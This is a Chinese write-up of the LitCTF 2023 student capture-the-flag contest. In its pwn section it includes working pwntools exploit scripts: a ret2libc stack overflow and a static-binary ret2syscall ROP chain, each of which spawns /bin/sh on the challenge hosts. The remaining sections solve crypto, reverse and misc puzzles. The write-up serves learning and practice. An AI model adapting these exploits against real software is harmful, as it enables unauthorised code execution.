LitCTF 2023 WriteUp(部分)

news2024/11/25 10:50:42

Index

  • 前言
  • 题目
  • Web
    • 我Flag呢?
  • Pwn
    • 只需要nc一下~
    • 口算题卡
      • 题目分析
      • EXP:
    • 狠狠的溢出涅~
      • 题目分析
      • EXP:
    • ezlogin
      • 题目分析
      • EXP:
    • Reverse
      • 世界上最棒的程序员
    • ez_XOR
      • EXP:
  • Crypto
    • Hex?Hex!(初级)
    • 梦想是红色的
    • 原来你也玩原神
  • Misc
    • 签到!(初级)
    • What_1s_BASE (初级)
    • Take me hand (初级)
    • 404notfound (初级)
    • 喜欢我的压缩包么 (初级)
    • 这羽毛球怎么只有一半啊(恼 (初级)
    • 破损的图片(初级)
    • Osint小麦果汁
    • OSINT 探姬去哪了?_1
    • OSINT 探姬去哪了?_2
    • OSINT 探姬去哪了?_0

前言

迄今为止做出来题目最多的比赛,不过嘛新生赛,加油。
在这里插入图片描述

题目

Web

Web不是我擅长的分区,我就做出来了签到题,其他是我队友做的。

我Flag呢?

在这里插入图片描述

Pwn

刚开始只有3题Pwn,后来加了一题压轴题,当时没做出来,赛后研究了几天整出来了。

只需要nc一下~

在这里插入图片描述
并非直接cat flag那种难度,需要稍微看一看。
在这里插入图片描述
发现把Flag写入了环境变量中,使用env或者echo $FLAG都可以查看。
在这里插入图片描述

口算题卡

在这里插入图片描述

题目分析

按照描述,就是做完100道加减法题目后就可以得到Flag,实际上确实如此,这里没有耍任何把戏。
可以硬着头皮算,也可以用Pwntools等。
我选择Pwntools:

EXP:

from PwnModules import *

io = remote('node4.anna.nssctf.cn',28265)
context(arch='amd64', os='linux', log_level='debug')

while 1:
    try:
        io.recvuntil(b'What is ')
        line = io.recvline().strip(b'\n').strip(b'?').decode()

        expression = line
        result = eval(expression)
        io.sendline(str(result))
    except:
        io.close()
        continue
io.interactive()

在这里插入图片描述
exp的原理其实很简单,使用recv函数接收算式,使用strip函数去除接收到的信息中的换行符以及问号,然后丢入eval函数就会得出结果。发送回去即可。

狠狠的溢出涅~

基础的ret2libc题目。
题目提供了libc,甚至用不到LibcSearcher。
在这里插入图片描述

题目分析

main函数存在栈溢出漏洞,但是程序使用了strlen防止用户进行栈溢出。
我们只需要使用\x00绕过strlen函数即可。

EXP:

from PwnModules import *

#io = process('./pwn4')
io = remote('node4.anna.nssctf.cn', 28413)
elf = ELF('./pwn41')
libc = ELF('/home/kaguya/PwnExp/libc-2.31.so')
context(arch='amd64', os='linux', log_level='debug')

Padding = b'\x00' + b'A' * (0x60 - 0x01 + 0x08)

rdi = 0x4007D3
ret = 0x400556
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']

Payload = Padding + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendline(Payload)
io.recvuntil(b'Ok,Message Received\n')

addr = leak_addr(2, io)
print(hex(addr))
base = addr - libc.sym['puts']
system = base + libc.sym['system']
binsh = base + next(libc.search(b'/bin/sh\x00'))


Payload = Padding + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
io.sendline(Payload)
io.interactive()

ezlogin

压轴来喽~
很抽象的一道题,静态链接并且去除了符号表。

题目分析

首先我们进行符号恢复。
从start函数着手:
在这里插入图片描述
先不管其他杂七杂八的函数,一个个点进去,可以发现sub_4005C0应该是main函数。在这里插入图片描述
这里我已经修改了函数名字,原先的vul并不是vul。而sub_411ED0猜测就是setbuf了。
进入vul函数中,还原后的函数如下:
在这里插入图片描述
strcpy函数是通过动态调试调试出来的。
参考:M1sery师傅的WP
关于如何绕过read的限制图中已经写了,重点是如何绕过strcpy的遇到```\x00``截断。
这里需要写一个特殊的函数:

def gadget(content):
    content = content + b'\x00'
    content = content[-1::-1]
    for i in range(0, len(content)):
        if content[i] == 0:
            payload = content[i+1:][-1::-1].replace(b'\x00', b'A')
            padding = b'A' * 0x108
            log.success('Payload: ' + (str(payload)))
            io.sendafter(b'password:', padding + payload)

简要分析的话作用是替换Payload中的\x00为A,复杂点实际上就是遇到\x00就反转Payload,替换\x00为A,然后配合固定的Padding:0x108(main函数中的a1大小)+处理后的Payload。
解决了strcpy的问题,接下来是构建ret2syscall的ROP链。
由于是静态链接,因此gadget量大管饱。

EXP:

from PwnModules import *

io = process('./pwn4')
# io = remote('node5.anna.nssctf.cn',28672)
elf = ELF('./pwn4')
libc = ELF('/home/kaguya/PwnTool/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
context(arch='amd64', os='linux', log_level='debug')

# Max Padding size : 0x100 - 0x150
# Define registers
rax = 0x4005AF
rdi = 0x400706
rsi = 0x410043
rdx = 0x448C95
syscall = 0x448D5F
bss = 0x6BB300
main = 0x4005C0


# Create func use to replace '\x00'
def gadget(content):
    content = content + b'\x00'
    content = content[-1::-1]
    for i in range(0, len(content)):
        if content[i] == 0:
            payload = content[i+1:][-1::-1].replace(b'\x00', b'A')
            padding = b'A' * 0x108
            log.success('Payload: ' + (str(payload)))
            io.sendafter(b'password:', padding + payload)

# Stage one
# read(0, 0, bss)
# rax 系统调用号 0代表 read
# rdi 第一参数
# 0 fd
# rsi 第二参数
# bss /bin/sh 地址
# 此处无法填写rdx的寄存器与值,因为如果填写了会导致Payload溢出,a1寄存器为58,就会进入exit函数。
# 但是程序在此时的rdx值够存放很多数据,所以存放一个/bin/sh不是什么难事。
Payload = p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(bss) + p64(syscall) + p64(main)
gadget(Payload)
Payload = b'PASSWORD\x00'
io.sendafter(b'password:', Payload)
io.send(b'/bin/sh\x00')

# Stage two
# execve('/bin/sh\x00', 0, 0)
# rax 系统调用号 59代表 execve
# rdi 第一参数
# bss /bin/sh 地址
# rsi 第二参数
# 0 NULL
# rdx 第三参数
# 0 NULL
Payload = p64(rax) + p64(59) + p64(rdi) + p64(bss) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)
gadget(Payload)
Payload = b'PASSWORD\x00'
io.sendafter(b'password:', Payload)
io.interactive()

在这里插入图片描述

Reverse

世界上最棒的程序员

在这里插入图片描述
start函数中直接写了

ez_XOR

ChatGPT yyds!
输入函数和工作逻辑让ChatGPT写的

EXP:

def XOR(Str, a2):
    result = len(Str)
    for i in range(result):
        Str[i] = chr(ord(Str[i]) ^ (3 * a2))
    return Str

Str1 = "E`}J]OrQF[V8zV:hzpV}fVF[t"  # 请根据实际情况修改Str1的内容

Str1 = list(Str1)  # 将Str1转换为列表,以便进行原位修改
XOR(Str1, 3)

Decrypted_Str1 = ''.join(Str1)
print("Decrypted Str1:", Decrypted_Str1)

输入str2,也就是E`}J]OrQF[V8zV:hzpV}fVF[t即可得到flag。

Crypto

Hex?Hex!(初级)

在这里插入图片描述
一眼hex转ascii
cyberchef直接出Flag
在这里插入图片描述

梦想是红色的

在这里插入图片描述
一眼社会主义核心价值观加密
在这里插入图片描述

原来你也玩原神

在这里插入图片描述
在这里插入图片描述
一个一个对照,就有Flag了。

Misc

签到!(初级)

关注长亭珂兰寺公众号,发送签到即可获取flag。

What_1s_BASE (初级)

在这里插入图片描述
base64,cyberchef。
在这里插入图片描述

Take me hand (初级)

流量分析,找到这两个包即可。
在这里插入图片描述
在这里插入图片描述

404notfound (初级)

在这里插入图片描述
一眼图片隐写
直接打开010在这里插入图片描述

喜欢我的压缩包么 (初级)

压缩包加密了,先猜一手123456。错误的
盲猜一手114514,对了。在这里插入图片描述
其实可以使用工具Passware Kit梭哈。

这羽毛球怎么只有一半啊(恼 (初级)

是misc中常见的修改图片长宽高
在这里插入图片描述
修改05 DC为DC DC即可。
在这里插入图片描述
说实话这题我是乱蒙的长宽高,乐。

破损的图片(初级)

在这里插入图片描述
在这里插入图片描述
对比发现缺少文件头,复制粘贴即可解决。
再随便改个后缀,就能打开了。
在这里插入图片描述

Osint小麦果汁

在这里插入图片描述
根据图中的Wifi查找即可查找到Flag。在这里插入图片描述
搜索到相关的,然后确定就是这个。
NSSCTF{黑客与精酿}

OSINT 探姬去哪了?_1

根据图中关键信息百度查找。
在这里插入图片描述
在这里插入图片描述
关键信息:SANGEL 酒店 xx路店
最终发现结果是:松果酒店(郑州农业路店)

OSINT 探姬去哪了?_2

在这里插入图片描述
根据图内关键信息:Hackingclub查询。
在这里插入图片描述
在这里插入图片描述
查找地图发现是:漫香音乐酒吧(农科路店)

OSINT 探姬去哪了?_0

使用exiftool查看本图片:
在这里插入图片描述

在这里插入图片描述
根据经纬度查找。结果是
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/534656.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【MyBatis】Spring Boot整合MyBatis操作数据库

文章目录 1. MyBatis是什么?2. 为什么要学MaBatis?3. MyBatis环境搭建4. MyBatis的使用4.1 简单示例4.2 获取动态参数4.2.1 ${xxx}获取动态参数4.2.2 #{xxx}获取动态参数4.2.3 #{xxx}与${xxx}获取字符串类型数据4.2.4 sql注入问题4.2.5 模糊查询like4.2.…

“Shell“脚本命令

文章目录 一.sort命令二.uniq命令三.tr命令四.cut命令五.split命令六.paste命令七.eval命令 一.sort命令 以行为单位对文件内容进行排序,也可以根据不同的数据类型来排序;比较原则是从首字符向后,依次按ASCII码值进行比较,最后将…

“Shell“数组

文章目录 一.数组1.1数组定义的方法1.2示例在这里插入图片描述 二.数组包2.1数组包括的数据类型2.2传输数组2.3返回数组 一.数组 1.1数组定义的方法 (30 20 10 60 50 40) //以空格相间隔的数组0 1 2 3 4 5 //下标方法一&am…

ACL 2022 | chatglm微调神器P-Tuning v2论文学习

一、概述 title:P-Tuning v2: Prompt Tuning Can Be Comparable to Fine-tuning Universally Across Scales and Tasks 论文地址:https://arxiv.org/abs/2110.07602 代码:GitHub - THUDM/P-tuning-v2: An optimized deep prompt tuning st…

ESP32 浮点性能评估

根据数据表,处理器应该包含一个硬件浮点单元: ESP32数据手册摘录 我编写了一个小测试来测量单精度(32 位)和双精度(64 位)的基本浮点运算。除了这些基本测试之外,我还测量了一个典型的小型算法的性能,该算法计算天文学中使用的本地视恒星时间。 作为参考,我在 STM32…

Apache Kafka实战:超越数据边界-Apache Kafka在大数据领域的崭新征程【上进小菜猪大数据】

上进小菜猪,沈工大软件工程专业,爱好敲代码,持续输出干货。 Apache Kafka 本文将介绍Apache Kafka在大数据领域的应用及其重要性,并提供一些代码实例来帮助读者更好地理解和应用Apache Kafka。文章主要包括以下几个方面&#xf…

GPT-2 面试题

简介 1、GPT-2 是什么?它是基于什么模型的? GPT-2 是一种人工智能的大型语言模型,由 OpenAI 在2019年提出。它是基于变压器(Transformer)模型的,使用了自注意力(Self-Attention)机…

分布式锁的实现?

分布式锁的实现? 答: 应用比较广泛:后台业务的防重提交 以前的传统应用用户流量比较小,为了节省成本,很多应用的成本都是单节点部署,为了解决单节点访问资源一致性的问题,对于java来说&#…

linux系统(守护进程-线程)08_守护进程,线程,线程创建,线程退出,线程回收,杀死线程,线程分离,线程属性分离

01 学习目标 1.守护进程的特点 2.熟练进行守护进程的创建 3.熟练掌握多线程的创建 4.熟练掌握线程的退出和资源回收 02 守护进程相关的概念 进程组:多个进程在同一个组,第一个进程默认是进程组的组长。 会话:进程组的更高一级,多…

二分搜索帮我解决实际问题

文章阅读 文章阅读 二分搜索代码框架常应用于「在有序数组中搜索指定元素」这个基本场景,具体的实际问题可以没有那么直接,但是也可以使用二分搜索进行解决 实际问题一般都让你求最值,比如让你求吃香蕉的「最小速度」,让你求轮船…

JavaWeb《后端内容:4. 项目实战:书城系统》

0.把之前的系统的Myssm部分封装为包 新建空的工件jar包 创建相同的文件夹,导入相应文件要从out里面导入字节码文件 全部设置完后点构建工件,然后点刚刚我们设置的这个工件,然后从src下的out文件相应的位置就能找到这个jar包,用于…

Discourse Table Builder 插件

ABC 仓库链接GitHub - discourse/discourse-table-builder: A theme component that allows for easily building and editing of markdown tables in Discourse. 概述Table Builder 这个插件能够让用户能够在 Discourse 的编辑对话框中快速的对表格进行编辑,同时也…

Flink学习——处理不同数据源的流数据,存入不同的Sink端

目录 一、单机版安装 二、IDEA操作Flink (一)添加依赖 (二)数据源——Source 1.加载元素数据 2.加载集合数据 3.加载文件目录 4.加载端口 5.加载kafka的topic——重要&常用 6.加载自定义数据源 (三)输出端——Sink 1.读取文件中的数据,处理后输出到…

ESP32设备驱动-振动电机模块驱动

振动电机模块驱动 文章目录 振动电机模块驱动1、振动电机介绍2、硬件准备3、软件准备4、驱动实现1、振动电机介绍 振动电机是用于产生振动的机械装置。 振动的产生是在驱动轴上质量不均匀的电动机的支持下发生的。 它是一种微型直流电机,通过振动让用户知道声音。 在此必须注…

《计算机网络—自顶向下方法》 Wireshark实验(五):UDP 协议分析

用户数据报(UDP)协议是运输层提供的一种最低限度的复用/分解服务,可以在网络层和正确的用户即进程间传输数据。UDP 是一种不提供不必要服务的轻量级运输协议,除了复用/分用功能和简单的差错检测之外,几乎就是 IP 协议了,也可以说它…

RabbitMQ养成记 (10.高级特性:死信队列,延迟队列)

死信队列(DLX) 这个概念 在其他MQ产品里面也是有的,只不过在Rabbitmq中稍微特殊一点 什么叫私信队列呢? 就是当消息成为 dead message之后,可以重新发到另外一台交换机,这个交换机就是DLX。 注意这里的有翻…

基于OpenCV的人脸检测软件(含Python源码+UI界面+图文详解)

软件功能演示 摘要:人脸检测的目标是找出图像中所有的人脸对应的位置,算法的输出是人脸外接矩形在图像中的坐标,可能还包括姿态如倾斜角度等信息。本文详细介绍了其实现的技术原理,同时给出完整的Python实现代码,并且通…

GeoTools实战指南: 空间坐标系-地理信息科学的核心

GeoTools实战指南: 空间坐标系-地理信息科学的核心 引言 在我们的日常生活中,地图、GPS导航和地理位置服务已经变得司空见惯。但是,你有没有想过这些工具背后的工作原理呢?它们都依赖于一种称为"空间坐标系"的关键概念。本文将深入探讨空间坐标系的基础知识和其…

多线程专题(上)学习随手笔记

JMM:主内存物理内存线程共享,工作内存CPU缓存线程独占volatile:可见性、禁止指令重排,不可保证原子性;用于懒汉单例模式(双重检测)或状态标记Synchronized:保证代码块或方法同步化执…

Unity的URP下使用SRPBatcher

大家好,我是阿赵。这里继续来讲一下URP相关的东西。 这次主要说的是SRP Batcher的使用 一、在URP下实现SRP Batcher 1、设置 在我们创建的URPAsset文件的高级选项里面,有一个SRP Batcher的开关,默认就是勾上的。 2、修改shader 在把项目转…